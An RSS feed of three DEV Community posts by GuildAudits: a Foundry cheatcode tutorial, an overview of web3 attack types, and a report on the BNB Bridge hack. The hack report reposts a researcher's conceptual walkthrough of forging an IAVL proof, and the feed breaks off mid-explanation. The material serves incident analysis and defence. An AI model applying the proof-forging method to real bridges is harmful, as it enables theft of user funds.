<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GuildAudits</title>
    <description>The latest articles on DEV Community by GuildAudits (@guildaudits).</description>
    <link>https://dev.to/guildaudits</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F944113%2F9dd08c13-514c-4113-b87c-c2d137d6621a.jpg</url>
      <title>DEV Community: GuildAudits</title>
      <link>https://dev.to/guildaudits</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guildaudits"/>
    <language>en</language>
    <item>
      <title>Deploy a smart contract to an arbitrary address</title>
      <dc:creator>GuildAudits</dc:creator>
      <pubDate>Sun, 04 Dec 2022 05:00:56 +0000</pubDate>
      <link>https://dev.to/guildaudits/deploy-a-smart-contract-to-an-arbitrary-address-3p3d</link>
      <guid>https://dev.to/guildaudits/deploy-a-smart-contract-to-an-arbitrary-address-3p3d</guid>
      <description>&lt;p&gt;This is one of the beauties of foundry framework, the ability to deploy a smart contract on any address. web3 developers gain alot from this because it aids you in experimenting with address with smart contract without having to go through hassle of getting an address deployed on the testnet or mainnet with code.&lt;/p&gt;

&lt;p&gt;getCode&lt;/p&gt;

&lt;p&gt;Signature&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function getCode(string calldata) external returns (bytes memory);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Description&lt;/p&gt;

&lt;p&gt;Returns the creation bytecode for a contract in the project given the path to the contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The calldata parameter can either be in the form ContractFile.sol (if the filename and contract name are the same),ContractFile.sol:ContractName, or the path to an artifact, relative to the root of your project.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ℹ️ Note&lt;/p&gt;

&lt;p&gt;getCode requires read permission for the output directory, see file cheatcodes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;To grant read access set fs_permissions = [{ access = "read", path = "./out"}] in your foundry.toml.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MyContract myContract = new MyContract(arg1, arg2);

// Let's do the same thing with `getCode`
bytes memory args = abi.encode(arg1, arg2);
bytes memory bytecode = abi.encodePacked(vm.getCode("MyContract.sol:MyContract"), args);
address anotherAddress;
assembly {
    anotherAddress := create(0, add(bytecode, 0x20), mload(bytecode))
}

assertEq0(address(myContract).code, anotherAddress.code); // [PASS]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deploy a contract to an arbitrary address by combining getCode and etch&lt;/p&gt;

&lt;p&gt;// Deploy&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bytes memory args = abi.encode(arg1, arg2);
bytes memory bytecode = abi.encodePacked(vm.getCode("MyContract.sol:MyContract"), args);
address deployed;
assembly {
deployed := create(0, add(bytecode, 0x20), mload(bytecode))
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Set the bytecode of an arbitrary address
vm.etch(targetAddr, deployed.code);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;for more info check &lt;a href="https://book.getfoundry.sh/cheatcodes/get-code?highlight=etch#examples"&gt;https://book.getfoundry.sh/cheatcodes/get-code?highlight=etch#examples&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>smartcontracts</category>
      <category>blockchain</category>
      <category>devops</category>
      <category>foundry</category>
    </item>
    <item>
      <title>Web3 Security: Types of Attacks and Lessons Discovered</title>
      <dc:creator>GuildAudits</dc:creator>
      <pubDate>Mon, 07 Nov 2022 17:24:50 +0000</pubDate>
      <link>https://dev.to/guildaudits/web3-security-types-of-attacks-and-lessons-discovered-2ioi</link>
      <guid>https://dev.to/guildaudits/web3-security-types-of-attacks-and-lessons-discovered-2ioi</guid>
      <description>&lt;p&gt;Web3 security is largely dependent on blockchains’ unique capacity for commitment and resistance to human interference. These software-controlled networks are a prime target for attackers because of the related property of finality, where transactions are typically irreversible. As blockchains, the distributed computer networks at the core of web3, gain value, so do the supporting technologies and apps, making them more and more attractive targets for attackers.&lt;/p&gt;

&lt;p&gt;We have seen similarities with historical software security trends, despite web3’s variances from earlier internet iterations.&lt;br&gt;
The major issues are frequently still the same.&lt;br&gt;
By researching these topics, defenders — whether developers, security teams, or regular crypto users — can better protect their projects, personal belongings, and wallets from would-be thieves.&lt;br&gt;
Based on our expertise, we’ve listed several recurring themes and predictions below.&lt;/p&gt;

&lt;h2&gt;
  
  
  Following the money
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Attackers typically want to get the best return on their investment. Due to the higher potential rewards, they can spend more time and effort attacking protocols that have more “total value locked,” or TVL.&lt;/li&gt;
&lt;li&gt;High value systems are more frequently the target of hacking organizations with the most resources.&lt;/li&gt;
&lt;li&gt;These desirable targets are also more commonly the target of novel exploits, the most profitable kind.&lt;/li&gt;
&lt;li&gt;We anticipate that for the foreseeable future, low cost assaults like phishing will grow more prevalent.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Patching the holes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;As programmers gain knowledge from tried-and-true assaults, web3 software may eventually become “secure by default.”&lt;br&gt;
Application programming interfaces, or APIs, are frequently tightened in order to reduce the likelihood of errors leading to the introduction of vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The effectiveness of the following attacks, including governance assaults, pricing oracle manipulation, and re-entrancy flaws, may significantly decline as security techniques and technology advance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The cost of assaults may be increased by removing most of the low hanging fruit for attackers, even if security is always a work in progress and nothing is ever hack-proof.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Platforms that can’t guarantee “perfect” security will need to employ exploit mitigation measures to reduce the likelihood of losses. By lowering the “benefit,” or upward, component of their cost-benefit equation, this may dissuade attacks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Categorizing attacks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Attacks on diverse systems can be categorised based on their similar properties. Defining qualities include how complex an assault is to pull off, to what extent the attacks can be automated, and what protection measures can be put in place to fight against them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Pricing oracle attacks: market manipulators:&lt;/strong&gt;&lt;br&gt;
It’s difficult to value assets accurately. Market manipulation is prohibited in the conventional trading environment, and you risk being fined or even arrested if you artificially raise or lower an asset’s price.&lt;br&gt;
The issue is severe in DeFi, which enables arbitrary individuals to “flash trade” hundreds of millions or billions of dollars, resulting in abrupt price changes.&lt;/p&gt;

&lt;p&gt;Numerous web3 initiatives rely on “oracles,” which are computer systems that offer real-time data and serve as a source for data that cannot be obtained on-chain.&lt;br&gt;
Oracles are frequently used, for example, to calculate the exchange rate between two assets.&lt;br&gt;
However, attackers have discovered a means to deceive these purportedly reliable sources.&lt;/p&gt;

&lt;p&gt;As the standardization of oracles progresses, there will be safer bridges between the off-chain and on-chain worlds available, and we can expect markets to become more resilient to manipulation attempts. With any luck, this class of attacks may, one day, disappear almost entirely.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Profile&lt;/li&gt;
&lt;li&gt;Who: Organized groups (APTs), solo actors, and insiders.&lt;/li&gt;
&lt;li&gt;Sophistication: Moderate (technical knowledge required).&lt;/li&gt;
&lt;li&gt;Automatability: High (most attacks likely involve automation detecting an exploitable issue).&lt;/li&gt;
&lt;li&gt;Expectations for the future: Likely to decrease as methods for accurate pricing become more standard.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Governance attacks: the election stealers:&lt;/strong&gt;&lt;br&gt;
The first crypto-specific problem to appear on the list is this one. A governance component is present in many web3 projects, allowing token holders to submit and decide on network change requests. While this offers a chance for ongoing development and improvement, it also creates a backdoor for the introduction of malevolent ideas that, if implemented, might harm the network.&lt;/p&gt;

&lt;p&gt;Attackers have developed novel strategies to get around restrictions, seize control of the leadership, and plunder coffers. Governance assaults have now been seen in the wild, while they were formerly only a theoretical worry. As happened recently with the decentralized finance, or DeFi, project Beanstalk, attackers can take out substantial “flash loans” to sway votes. Attackers can more easily take advantage of governance votes that trigger automatic proposal execution; but, if proposal enactment is delayed or needs human approval from many parties (via a multisig wallet, for example), it may be more difficult to carry off.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Profile&lt;/li&gt;
&lt;li&gt;Who: Anyone from organized groups (APTs) to solo actors.&lt;/li&gt;
&lt;li&gt;Sophistication: Low-to-High, depending on the protocol. (Many projects have active forums, communities on Twitter and Discord, and delegation dashboards that can easily expose more amateur attempts.)&lt;/li&gt;
&lt;li&gt;Automatability: Low-to-High, depending on the protocol.&lt;/li&gt;
&lt;li&gt;Expectations for the future: These attacks are highly dependent on governance tooling and standards, especially as they relate to monitoring and the process of proposal enactment.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Supply chain vulnerabilities: the weakest links:&lt;/strong&gt;&lt;br&gt;
Safety recalls are issued by automakers when they find faulty parts in their cars, and the software supply chain is no different.&lt;/p&gt;

&lt;p&gt;Libraries created by third parties for software increase the attack surface. This has long been a security issue for systems prior to web3, as demonstrated by the log4j hack from last December, which had an impact on a lot of web server software. In order to locate unpatched vulnerabilities they may exploit, attackers will search the internet for known flaws.&lt;/p&gt;

&lt;p&gt;Although your engineering staff may not have created the imported code, it still has to be maintained. Teams must maintain track of the progress and condition of the projects they rely on, check for vulnerabilities in the individual components of their software, and make sure updates are applied. It is difficult to appropriately inform library users of these risks due to the actual and immediate costs of exploitation for web3 software vulnerabilities. The jury is still out on how or where teams should share them with one another so as not to unintentionally jeopardize user funding.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Profile&lt;/li&gt;
&lt;li&gt;Who: Organized groups such as APTs, solo actors, and insiders.&lt;/li&gt;
&lt;li&gt;Sophistication: Moderate (need technical know-how and some time)&lt;/li&gt;
&lt;li&gt;Automatability: Moderate (scanning to find faulty software components can be automated; but when new vulnerabilities are discovered, exploits need to be constructed manually).&lt;/li&gt;
&lt;li&gt;Expectations for the future: Supply chain vulnerabilities are likely to increase as the interdependence and complexity of software systems rises. Opportunistic hacking will likely also increase until good, standardized methods of vulnerability disclosure are developed for web3 security.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;APT operations: the top predators:&lt;/strong&gt;&lt;br&gt;
Expert adversaries, sometimes referred to as Advanced Persistent Threats (APTs), are the security industry’s bogeymen. They have a wide range of motives and skills, but they are frequently wealthy and persistent, as their name would imply; regrettably, they are quite likely to constantly exist. Although various APTs carry out a wide range of operations, these threat actors are more likely to directly target the network layer of businesses in order to achieve their objectives.&lt;/p&gt;

&lt;p&gt;We are aware that certain highly developed groups are actively pursuing web3 initiatives, and we believe there may be more, unidentified entities as well. The individuals responsible for the most worrisome APTs typically reside in nations lacking extradition agreements with the U.S. and EU, making it more challenging to bring charges against them. Lazarus, a North Korean organization that the FBI has blamed for carrying out the biggest crypto attack to date, is one of the most well-known APTs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Profile&lt;/li&gt;
&lt;li&gt;Who: Nation states, well-funded criminal organizations, and other advanced organized groups. Examples include Ronin hackers (Lazarus, widely linked to North Korea).&lt;/li&gt;
&lt;li&gt;Sophistication: High (only available to highly resourced groups, usually in countries that won’t prosecute).&lt;/li&gt;
&lt;li&gt;Automatability: Low (still mostly manual efforts with some custom tooling)&lt;/li&gt;
&lt;li&gt;Expectations for the future: APTs will remain active as long as they can monetize their activities or achieve various political ends.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;New weaknesses: unknown unknowns:&lt;/strong&gt;&lt;br&gt;
Web3 security is no different. “Zero-day” vulnerabilities, so termed because they were widely known for zero days at the time of their debut, are a contentious topic in the world of information security. The hardest strikes to ward against are those that appear out of nowhere.&lt;/p&gt;

&lt;p&gt;Web3 has, if anything, made it simpler to monetize these pricy, time-consuming operations because it might be challenging to recover stolen crypto money. Attackers can invest a lot of time looking through the code of on-chain apps in an attempt to uncover a defect that will make their efforts worthwhile.&lt;/p&gt;

&lt;p&gt;Unaware projects are still plagued by certain former new vulnerabilities; for example, the re-entrancy problem that notably brought down TheDAO, an early Ethereum project, is still present in other places today.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Profile&lt;/li&gt;
&lt;li&gt;Who: Organized groups (APTs), solo actors (less likely), and insiders.&lt;/li&gt;
&lt;li&gt;Sophistication: Moderate-High (technical knowledge is required, but not all the vulnerabilities are too complex for people to understand).&lt;/li&gt;
&lt;li&gt;Automatability: Low (finding novel vulnerabilities takes time and effort and is not likely to be automated; once found, scanning for similar issues across other systems is easier).&lt;/li&gt;
&lt;li&gt;Expectations for the future: More attention attracts more whitehats and makes the “barrier to entry” higher for discovering novel vulnerabilities. Meanwhile, as web3 adoption grows, so does the motive for blackhats to find new exploits. This is likely to remain a game of cat-and-mouse as it has in many other areas of security.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>web3</category>
      <category>security</category>
      <category>blockchain</category>
      <category>hacks</category>
    </item>
    <item>
      <title>A possible $500 million loss on the World’s largest crypto exchange</title>
      <dc:creator>GuildAudits</dc:creator>
      <pubDate>Fri, 14 Oct 2022 17:54:43 +0000</pubDate>
      <link>https://dev.to/guildaudits/a-possible-500-million-loss-on-the-worlds-largest-crypto-exchange-30jb</link>
      <guid>https://dev.to/guildaudits/a-possible-500-million-loss-on-the-worlds-largest-crypto-exchange-30jb</guid>
      <description>&lt;p&gt;According to a representative for Binance, the largest cryptocurrency exchange in the world, a $570 million hack has affected a blockchain connected to the company. This is the latest in a string of attacks that have hit the cryptocurrency industry this year.&lt;/p&gt;

&lt;p&gt;In a tweet, Binance CEO Changpeng Zhao said that tokens had been stolen from a blockchain “bridge” utilized in the BNB Chain, formerly known as the Binance Smart Chain until February.&lt;/p&gt;

&lt;p&gt;Utilizing blockchain bridges, cryptocurrency can be moved across other apps.&lt;/p&gt;

&lt;p&gt;According to researcher Chainalysis, thieves are increasingly focusing on them, with about $2 billion stolen in 13 distinct hacks, largely this year.&lt;/p&gt;

&lt;p&gt;According to Zhao’s post, the thieves made off with almost $100 million worth of cryptocurrency.&lt;/p&gt;

&lt;p&gt;Later, according to a blog post by BNB Chain, the hacker withdrew a total of 2 million BNB coins, valued at about $570 million.&lt;/p&gt;

&lt;p&gt;According to the email from the Binance representative, most of the BNB was still in the hacker’s digital wallet address, with about $100 million worth remaining “unrecovered.”&lt;/p&gt;

&lt;p&gt;BNB Chain supports BNB, formerly known as Binance Coin, which, according to data provider CoinGecko, is the fifth-largest cryptocurrency in the world with a market value of over $45 billion.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical details on the Binance Hack — BY &lt;a href="https://samczsun.com/"&gt;Samczsun&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;Five hours ago, an attacker stole 2 million BNB (~ $566M) from the Binance Bridge. During that time, I’ve been working closely with multiple parties to triage and resolve this issue. Here’s how it all went down.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_Arm3dah--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3hz8vhi2aseag2dpdorx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_Arm3dah--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3hz8vhi2aseag2dpdorx.png" alt="Image" width="680" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It all started when @zachxbt sent me the attacker’s address out of the blue. When I clicked into it, I saw an account worth hundreds of millions of dollars. Either someone had pulled off a huge rug, or there was a massive hack underway&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--RU-vWOiT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z1wcq6157wmeb9sve6wi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--RU-vWOiT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z1wcq6157wmeb9sve6wi.png" alt="Image" width="466" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first, I thought that @&lt;a href="https://twitter.com/VenusProtocol"&gt;VenusProtocol&lt;/a&gt; had been hacked yet again. However, it only took a couple seconds to determine that the attacker &lt;em&gt;really did&lt;/em&gt; deposit over $200M USD into Venus Instead, I needed to figure out where those funds came from&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6WTDSjIb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dmsz3k1uydupxzwalbz9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6WTDSjIb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dmsz3k1uydupxzwalbz9.png" alt="Image" width="679" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The answer was that the attacker had somehow convinced the Binance Bridge to simply send them 1,000,000 BNB. Twice.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--r-WWH_3C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k1ig3j6cb6dpotr7u4q6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--r-WWH_3C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k1ig3j6cb6dpotr7u4q6.png" alt="Image" width="720" height="469"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Either Binance was finally running the biggest giveaway that Web3 had ever seen, or the attacker had found a critical bug.&lt;/p&gt;

&lt;p&gt;I started by comparing the attacker’s transactions with legitimate withdrawals. The first thing I noticed was that the height used by the attacker was always the same — 110217401. The heights used by legitimate withdrawals were much bigger, such as 270822321&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--g0rTr_Wu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/48kdjdv8r7jpvl41gu63.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--g0rTr_Wu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/48kdjdv8r7jpvl41gu63.png" alt="Image" width="652" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4aqbvGqm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d09mnl1rdaauwbthc6ki.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4aqbvGqm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d09mnl1rdaauwbthc6ki.png" alt="Image" width="649" height="219"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also noticed that the attacker’s proof was significantly shorter than the legitimate withdrawal’s proof. These two facts led me to believe that the attacker had found a way to forge a proof for that specific block — 110217401. Now I had to figure out how these proofs worked&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FdO5Djsr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8rf6sfcpqstiedhwviam.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FdO5Djsr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8rf6sfcpqstiedhwviam.png" alt="Image" width="680" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On Binance, there’s a special precompile contract used to verify IAVL trees. If you don’t know anything about IAVL trees, don’t worry. I still don’t understand about 95% of it. Fortunately, all you and I need to reproduce the hack is the remaining 5%…&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xv-GGjNT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1ojo1766dpn4jxre0161.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xv-GGjNT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1ojo1766dpn4jxre0161.png" alt="Image" width="497" height="135"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ok, so basically, when you verify an IAVL tree, you specify a list of “operations”. The Binance Bridge typically expects two of them: an “iavl:v” operation, and a “multistore” operation. Here are their implementations&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof_iavl_value.go#L61-L82"&gt;https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof_iavl_value.go#L61-L82&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In order to forge a proof, we need both operations to succeed, and we need to last operation (the multistore) to return a fixed value (the hash of the specified block: 110217401) Looking at the implementation, we can convince ourselves with some effort that it’s impossible, or at least very difficult, to manipulate the root hash. Or you can just take my word for it. This means that we need our input value to be equal to one of the commit IDs&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j41aTfLP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9jkp0m3gidkkperi7ozr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j41aTfLP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9jkp0m3gidkkperi7ozr.png" alt="Image" width="720" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TtDKlrjS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a1oc6ni6ojmrh1ua2qsy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TtDKlrjS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a1oc6ni6ojmrh1ua2qsy.png" alt="Image" width="720" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The input value of the “multistore” operation is the output value of the “iavl:v” operation. This means that we want to somehow control the root variable here, while still passing the value verification.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WT0Fp6BH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/806n6mwxepit19e3pxk4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WT0Fp6BH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/806n6mwxepit19e3pxk4.png" alt="Image" width="360" height="286"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ozQ_ylcl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kcnlolbrpsrulwp9p0oh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ozQ_ylcl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kcnlolbrpsrulwp9p0oh.png" alt="Image" width="360" height="286"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So how is the root hash computed? Well, it happens in this monster of a function called COMPUTEHASH. At a very very high level, it recursively goes over each path and leaf and does a bunch of hashing and really the implementation details don’t matter&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof_range.go#L237-L290"&gt;https://github.com/cosmos/iavl/blob/de0740903a67b624d887f9055d4c60175dcfa758/proof_range.go#L237-L290&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What does matter is that due to the way that hash functions are intended to work, we can basically say with certainty that any (path, nleaf) pair will produce a unique hash. If we want to forge a proof, those will need to stay the same.&lt;/p&gt;

&lt;p&gt;Looking at the way that the proof is laid out in a legitimate transaction, we see it has a very long path, no inner nodes, and only one leaf node. This leaf node contains the hash of our malicious payload! If we can’t modify this leaf node, then we’ll need to add a new one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EsDDOfkC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uoq55jad0i1grlq0b5nr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EsDDOfkC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uoq55jad0i1grlq0b5nr.png" alt="Image" width="590" height="496"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of course, if we add a new leaf node, we’ll also need to add a new inner node to match&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vDvOtgjs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y4l77xvn2dx31n2wrm9m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vDvOtgjs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y4l77xvn2dx31n2wrm9m.png" alt="Image" width="720" height="123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we just have one last obstacle to face. How do we actually get COMPUTEHASH to return the root hash we want? Well, notice that eventually we’ll need a path to contain a non-zero right hash. When we find one that does, we assert it matches the intermediate root hash&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pqRST9zL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tjc8ih89fot54xwxygno.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pqRST9zL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tjc8ih89fot54xwxygno.png" alt="Image" width="680" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s just instrument the code a bit so we can figure out what hash we need and….&lt;/p&gt;

